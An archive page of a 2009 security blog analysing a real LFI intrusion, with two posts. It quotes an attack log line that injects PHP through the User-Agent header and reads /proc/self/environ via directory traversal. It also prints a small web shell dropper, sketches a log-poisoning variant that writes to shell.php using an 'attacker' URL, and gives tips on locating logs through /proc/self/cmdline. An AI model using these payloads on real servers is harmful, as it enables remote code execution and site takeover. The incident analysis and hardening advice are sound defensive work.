INCLUDE_DATA

Archive for the ‘Research’ Category

Further Notes On LFI

Monday, March 23rd, 2009

Having encountered the last LFI attack on my client, I researched a little more on ways that LFI can be used to exploit different scenarios. There is one other main adaptation of the concept which has been published by various sources, including milw0rm - log poisoning.

It would seem that Apache access logs as well as error logs can be injected with code such that when the log file is accessed, the code is parsed. Which means to say, the previous exploit that was used -

92.241.137.238 - - [07/Mar/2009:23:36:02 +0000]
"GET /?p=../../../../../../../../../../proc/self/environ%00 HTTP/1.1"
200 15491 "-"
"<? $o=fopen(\"testa.php\",\"a+\");
fwrite($o,\"stefo je king\"); fclose($o); ?>"

was exploitable in two different ways. The first way was described in the previous post. The second way would be that instead of writing “stefo je king”, if an actual PHP script like

$o = fopen("shell.php","w");
fwrite($o,"http://attacker/shell.txt");fclose($o);

was used, the the attacker could have tried to used the traversal attack to access a log file and get the shell script on the server again.

Another interesting piece of information I found was - let’s say Apache was installed in a non-default location and logs were therefore placed in a folder that was unknown to you. You have tried the default list of folders to search for and are out of ideas. Of course, the site is vulnerable to LFI. You could inject a piece of code to read from -

/proc/self/cmdline

Like /proc/self/environ shows the current environment status, /proc/self/cmdline shows the command line argument that spawned the process calling it. For example, if you’re calling it from shell, you’ll get “-bash” as the response. If Apache calls it, you’ll get the full path where Apache is installed. And you will then know where to find the logs.

As rhican rightly asserts, “good hosters should block access to /proc imho there’s tons of stuff a php script as no business there”.

Case Study – Directory Traversal & Remote Code Execution Using /proc/self/environ

Monday, March 9th, 2009

Credits to Christian Busch for helping me out on this one. :)

Late last night, I was approached with an interesting case of a denial of service attack. And I mean it – no one was able to access the service – because all files were deleted. The client informed me that remote shell scripts were able to find their way onto the server.

The first step was obviously to restore the files on the server, which was trivial given that WHM made daily backups for him. Then the search for the shell scripts began. I identified a couple of them –

File found - backup.php (2463) - 03/06/2009
File found - shelld.php (23124) - 03/08/2009
File found - .php (96420) - 03/07/2009
File found - testa.php (85) - 03/08/2009
File found - test.php (38868) - 02/05/2009
File found - c.php (597944) - 02/25/2009

The files are zipped and downloadable. Be sure to manage your AV exclusions. :)

The file that requires some attention is testa.php.

testa.php

<? $aa = $_POST["shell"];
$o = fopen("shelld.php","wb");fwrite($o,$aa);fclose($o); ?>

I shall cut the crap and go straight to the logs. You may download a copy of all the logs here. But let’s take a look at a sample line –

92.241.137.238 - - [07/Mar/2009:23:36:02 +0000]
"GET /?p=../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1"
200 15491 "-"
"<? $o=fopen(\"testa.php\",\"a+\"); fwrite($o,\"stefo je king\"); fclose($o); ?>"

A directory traversal attack! I haven’t seen one like that in years!  But this one is smart. For those who do not understand what that line in the logs mean - a user using the IP address 92.241.137.238 visited the page

/?p=../../../../../../../../../../../../../proc/self/environ%00

with the browser headers as PHP code.

Let’s take a look at the output of the GET URL –

Smart, eh?

Smart, eh? Click to enlarge.

It seems like the browser and PHP information are output.

Looking at some relevant PHP code –

 <? // Change This
        $p = stripslashes($_REQUEST['p']);
    if(file_exists(CWD.'/'.$p.'.php')){
        include(CWD.'/'.$p.'.php');
    }else{
        include(CWD.'/'.$_SESSION['lan'].'/'.$p.'.php');
}?>

“This” certainly needs to be changed. ;)

Let’s look at the query executed again. The null byte is used to ignore the “.php” extension and only include /proc/self/environ

What’s even smarter is this – because browser information is include’d, PHP code was used as the browser headers and was therefore included and parsed.

If you look further down the logs, you will realize that the C99 shell is also included from a certain URL –

Shells. Sea Shells. Remote Shells. Evil Shells.

Shells. Sea Shells. Remote Shells. Evil Shells.

Looks like someone set up a site just for this purpose.

There are other things probably worth mentioning, but I guess not this time. The things to take away would be –

  1. Always sanitize parameters passed to functions like require’s, require_once’s, include’s, include_once’s, fopen’s, file_get_contents’, etc to prevent directory traversal
  2. Using /proc/self/environ as an attack vector to execute PHP code remotely that is hardly ever published. I hope that this article provided you with some insights.
  3. And to all the security researchers out there – You can now stop using the cat /etc/passwd POC and start using something like this. =)

Have fun and take care :)